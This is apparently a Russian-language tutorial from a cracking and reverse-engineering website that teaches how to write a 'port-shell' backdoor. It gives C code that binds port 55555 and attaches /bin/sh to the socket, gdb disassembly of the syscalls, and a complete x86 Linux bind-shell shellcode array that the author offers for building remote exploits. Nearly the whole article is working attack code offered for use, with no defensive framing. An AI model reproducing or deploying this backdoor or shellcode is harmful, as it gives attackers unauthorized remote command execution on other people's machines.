Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 августа!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Возможности языков семейства Си по истине безграничны, однако, в этой свободе кроются и недостатки: всегда нужно программисту держать ухо востро и контроллировать "переполнение буфера", чтобы потом программа не вылетала в "синий экран" на массе разнообразных версий Windows и железа у пользователей. Те же крэкеры и реверсеры специально ищут в коде программ на Си уязвимости, куда можно подсадить любой вирусный код, об этом более подробно автор рассказывал в своём видеокурсе здесь. Я там многое узнал и теперь мой код стал значительно более безопасный.
.. Port-shell  //dev0id

Что такое Port-shell, я думаю вы знаете: это программа, которая открывает доступ к шеллу на определенном порту. Запустив такую программу, вы сможете подсоединяться к удаленному хосту и выполнять любые команды на этой удаленной машине, с теми привилегиями, с которыми была запущенна данная программа.

Вообще, на написание данной статьи меня толкнула одна статья с lbyte.void.ru. Дело в том, что они писали о backdoor'e, который записывал в /etc/passwd новый аккаунт с привилегиями рута (uid=0; gid=0) при посылке определенной команды на определенный порт. Мне же не очень понравилась эта идея, так как к удаленному компьютеру невозможно было бы подсоединиться, если бы на нем отстутсвовали такие утилиты как telnetd, sshd и т.п. Небыло бы толку от этого бэкдора при их отстутсвии, поэтому нужен шелл. Вот мы и примимся за его написание.
Сам код программы не очень большой, так как программа всего-навсего открывает нужный нам порт и запускает оболочку, выход которой синхронизирован с дескриптором сокета:

 //все нужные и не нужные инклуды
 
 int soc,cli;
 struct sockaddr_in serv_addr;
 struct sockaddr_in cli_addr;
 
 int main()
 {
 	if(fork()==0)
 	{
 		serv_addr.sin_family=AF_INET;
 		serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
 		serv_addr.sin_port=htons(55555);
 		soc=socket(AF_INET,SOCK_STREAM,0);
 		bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
 		listen(soc,1);
 		cli=accept(soc,(struct sockaddr *)&cli_addr,sizeof(cli_addr));
 		dup2(cli,0);
 		dup2(cli,1);
 		dup2(cli,2);
 		execl("/bin/sh","sh",0);
 	}
 }
 
вот и весь код =). Но это еще не все. Данный код очень удобно использовать для написания remote exploits. Все что нужно - перевести данный код в ассемблерный и вытащить ОПКОД. Этим мы и займемся: пользоваться мы будем gdb, итак, поехали:
 (gdb) disas dup2
 Dump of assembler code for function dup2:
 0x804cbe0 <dup2>:          movl   %ebx,%edx
 0x804cbe2 <dup2+2>:        movl   0x8(%esp,1),%ecx
 0x804cbe6 <dup2+6>:        movl   0x4(%esp,1),%ebx
 0x804cbea <dup2+10>:       movl   $0x3f,%eax
 0x804cbef <dup2+15>:       int    $0x80
 0x804cbf1 <dup2+17>:       movl   %edx,%ebx
 0x804cbf3 <dup2+19>:       cmpl   $0xfffff001,%eax
 0x804cbf8 <dup2+24>:       jae    0x804cdc0 <__syscall_error>
 0x804cbfe <dup2+30>:       ret
 0x804cbff <dup2+31>:       nop
 End of assembler dump.
 
 (gdb) disas fork
 Dump of assembler code for function fork:
 0x804ca90 <fork>:          movl   $0x2,%eax
 0x804ca95 <fork+5>:        int    $0x80
 0x804ca97 <fork+7>:        cmpl   $0xfffff001,%eax
 0x804ca9c <fork+12>:       jae    0x804cdc0 <__syscall_error>
 0x804caa2 <fork+18>:       ret
 0x804caa3 <fork+19>:       nop
 0x804caa4 <fork+20>:       nop
 0x804caa5 <fork+21>:       nop
 0x804caa6 <fork+22>:       nop
 0x804caa7 <fork+23>:       nop
 0x804caa8 <fork+24>:       nop
 0x804caa9 <fork+25>:       nop
 0x804caaa <fork+26>:       nop
 0x804caab <fork+27>:       nop
 0x804caac <fork+28>:       nop
 0x804caad <fork+29>:       nop
 0x804caae <fork+30>:       nop
 0x804caaf <fork+31>:       nop
 End of assembler dump.
 
 (gdb) disas socket
 Dump of assembler code for function socket:
 0x804cda0 <socket>:        movl   %ebx,%edx
 0x804cda2 <socket+2>:      movl   $0x66,%eax
 0x804cda7 <socket+7>:      movl   $0x1,%ebx
 0x804cdac <socket+12>:     leal   0x4(%esp,1),%ecx
 0x804cdb0 <socket+16>:     int    $0x80
 0x804cdb2 <socket+18>:     movl   %edx,%ebx
 0x804cdb4 <socket+20>:     cmpl   $0xffffff83,%eax
 0x804cdb7 <socket+23>:     jae    0x804cdc0 <__syscall_error>
 0x804cdbd <socket+29>:     ret
 0x804cdbe <socket+30>:     nop
 0x804cdbf <socket+31>:     nop
 End of assembler dump.
 
 (gdb) disas bind
 Dump of assembler code for function bind:
 0x804cd60 <bind>:          movl   %ebx,%edx
 0x804cd62 <bind+2>:        movl   $0x66,%eax
 0x804cd67 <bind+7>:        movl   $0x2,%ebx
 0x804cd6c <bind+12>:       leal   0x4(%esp,1),%ecx
 0x804cd70 <bind+16>:       int    $0x80
 0x804cd72 <bind+18>:       movl   %edx,%ebx
 0x804cd74 <bind+20>:       cmpl   $0xffffff83,%eax
 0x804cd77 <bind+23>:       jae    0x804cdc0 <__syscall_error>
 0x804cd7d <bind+29>:       ret
 0x804cd7e <bind+30>:       nop
 0x804cd7f <bind+31>:       nop
 End of assembler dump.
 
 (gdb) disas listen
 Dump of assembler code for function listen:
 0x804cd80 <listen>:        movl   %ebx,%edx
 0x804cd82 <listen+2>:      movl   $0x66,%eax
 0x804cd87 <listen+7>:      movl   $0x4,%ebx
 0x804cd8c <listen+12>:     leal   0x4(%esp,1),%ecx
 0x804cd90 <listen+16>:     int    $0x80
 0x804cd92 <listen+18>:     movl   %edx,%ebx
 0x804cd94 <listen+20>:     cmpl   $0xffffff83,%eax
 0x804cd97 <listen+23>:     jae    0x804cdc0 <__syscall_error>
 0x804cd9d <listen+29>:     ret
 0x804cd9e <listen+30>:     nop
 0x804cd9f <listen+31>:     nop
 End of assembler dump.
 
 (gdb) disas accept
 Dump of assembler code for function __accept:
 0x804cd40 <__accept>:           movl   %ebx,%edx
 0x804cd42 <__accept+2>:         movl   $0x66,%eax
 0x804cd47 <__accept+7>:         movl   $0x5,%ebx
 0x804cd4c <__accept+12>:        leal   0x4(%esp,1),%ecx
 0x804cd50 <__accept+16>:        int    $0x80
 0x804cd52 <__accept+18>:        movl   %edx,%ebx
 0x804cd54 <__accept+20>:        cmpl   $0xffffff83,%eax
 0x804cd57 <__accept+23>:        jae    0x804cdc0 <__syscall_error>
 0x804cd5d <__accept+29>:        ret
 0x804cd5e <__accept+30>:        nop
 0x804cd5f <__accept+31>:        nop
 End of assembler dump.
 
сам ОПКОД для каждой из этих функций выглядит следующим образом:
 dup2(cli,0)
 ----------------------------------------------------------------------
 char code[]=
 	"\x88\xc3"                      /* movb %al,%bl          */
 	"\xb0\x3f"                      /* movb $0x3f,%al        */
 	"\x31\xc9"                      /* xorl %ecx,%ecx        */
 	"\xcd\x80";                     /* int $0x80             */
 ----------------------------------------------------------------------
 
 fork()
 ----------------------------------------------------------------------
 сhar code[]=
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\xb0\x02"                      /* movb $0x2,%al         */
 	"\xcd\x80";                     /* int $0x80             */
 ----------------------------------------------------------------------
 
 socket(2,1,6)
 ----------------------------------------------------------------------
 сhar code[]=
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x31\xdb"                      /* xorl %ebx,%ebx        */
 	"\x89\xf1"                      /* movl %esi,%ecx        */
 	"\xb0\x02"                      /* movb $0x2,%al         */
 	"\x89\x06"                      /* movl %eax,(%esi)      */
 	"\xb0\x01"                      /* movb $0x1,%al         */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\xb0\x06"                      /* movb $0x6,%al         */
 	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x01"                      /* movb $0x1,%bl         */
 	"\xcd\x80";                     /* int $0x80             */
 ----------------------------------------------------------------------
 
 bind(soc,(struct sockaddr *)&serv_addr,0x10)
 ----------------------------------------------------------------------
 сhar code[]=
 	"\x89\xf1"                      /* movl %esi,%ecx        */
 	"\x89\x06"                      /* movl %eax,(%esi)      */
 	"\xb0\x02"                      /* movb $0x2,%al         */
 	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
 	"\xb0\x77"                      /* movb $0x77,%al        */
 	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
 	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
 	"\xb0\x10"                      /* movb $0x10,%al        */
 	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x02"                      /* movb $0x2,%bl         */
 	"\xcd\x80";                     /* int $0x80             */
 ----------------------------------------------------------------------
 
 listen(soc,1)
 ----------------------------------------------------------------------
 char code[]=
 	"\x89\xf1"                      /* movl %esi,%ecx        */
 	"\x89\x06"                      /* movl %eax,(%esi)      */
 	"\xb0\x01"                      /* movb $0x1,%al         */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x04"                      /* movb $0x4,%bl         */
 	"\xcd\x80";                     /* int $0x80             */
 ----------------------------------------------------------------------
 
 accept(soc,0,0)
 ----------------------------------------------------------------------
 char code[]=
 	"\x89\xf1"                      /* movl %esi,%ecx        */
 	"\x89\xf1"                      /* movl %eax,(%esi)      */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x05"                      /* movb $0x5,%bl         */
 	"\xcd\x80";                     /* int $0x80             */
 ----------------------------------------------------------------------
 
Теперь соединяем все это воедино и добавляем к этому вызов самого шела - получаем следующую байдень:
 char shellcode[]=
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\xb0\x02"                      /* movb $0x2,%al         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\x85\xc0"                      /* testl %eax,%eax       */
 	"\x75\x43"                      /* jne 0x43              */
 	"\xeb\x43"                      /* jmp 0x43              */
 	"\x5e"                          /* popl %esi             */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x31\xdb"                      /* xorl %ebx,%ebx        */
 	"\x89\xf1"                      /* movl %esi,%ecx        */
 	"\xb0\x02"                      /* movb $0x2,%al         */
 	"\x89\x06"                      /* movl %eax,(%esi)      */
 	"\xb0\x01"                      /* movb $0x1,%al         */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\xb0\x06"                      /* movb $0x6,%al         */
 	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x01"                      /* movb $0x1,%bl         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\x89\x06"                      /* movl %eax,(%esi)      */
 	"\xb0\x02"                      /* movb $0x2,%al         */
 	"\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
 	"\xb0\x77"                      /* movb $0x77,%al        */
 	"\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
 	"\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
 	"\xb0\x10"                      /* movb $0x10,%al        */
 	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x02"                      /* movb $0x2,%bl         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\xeb\x04"                      /* jmp 0x4               */
 	"\xeb\x55"                      /* jmp 0x55              */
 	"\xeb\x5b"                      /* jmp 0x5b              */
 	"\xb0\x01"                      /* movb $0x1,%al         */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x04"                      /* movb $0x4,%bl         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
 	"\xb0\x66"                      /* movb $0x66,%al        */
 	"\xb3\x05"                      /* movb $0x5,%bl         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\x88\xc3"                      /* movb %al,%bl          */
 	"\xb0\x3f"                      /* movb $0x3f,%al        */
 	"\x31\xc9"                      /* xorl %ecx,%ecx        */
 	"\xcd\x80"                      /* int $0x80             */
 	"\xb0\x3f"                      /* movb $0x3f,%al        */
 	"\xb1\x01"                      /* movb $0x1,%cl         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\xb0\x3f"                      /* movb $0x3f,%al        */
 	"\xb1\x02"                      /* movb $0x2,%cl         */
 	"\xcd\x80"                      /* int $0x80             */
 	"\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
 	"\x89\x06"                      /* movl %eax,(%esi)      */
 	"\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
 	"\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
 	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
 	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
 	"\xb0\x0b"                      /* movb $0xb,%al         */
 	"\x89\xf3"                      /* movl %esi,%ebx        */
 	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
 	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
 	"\xcd\x80"                      /* int $0x80             */
 	"\x31\xc0"                      /* xorl %eax,%eax        */
 	"\xb0\x01"                      /* movb $0x1,%al         */
 	"\x31\xdb"                      /* xorl %ebx,%ebx        */
 	"\xcd\x80"                      /* int $0x80             */
 	"\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
 
Ничего не понятно? Попробуйте проделать это на своей машине и привести к подобному виду. Кстати, как видите, код написан под Линукс, попробуйте его переделать под BSD.

<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS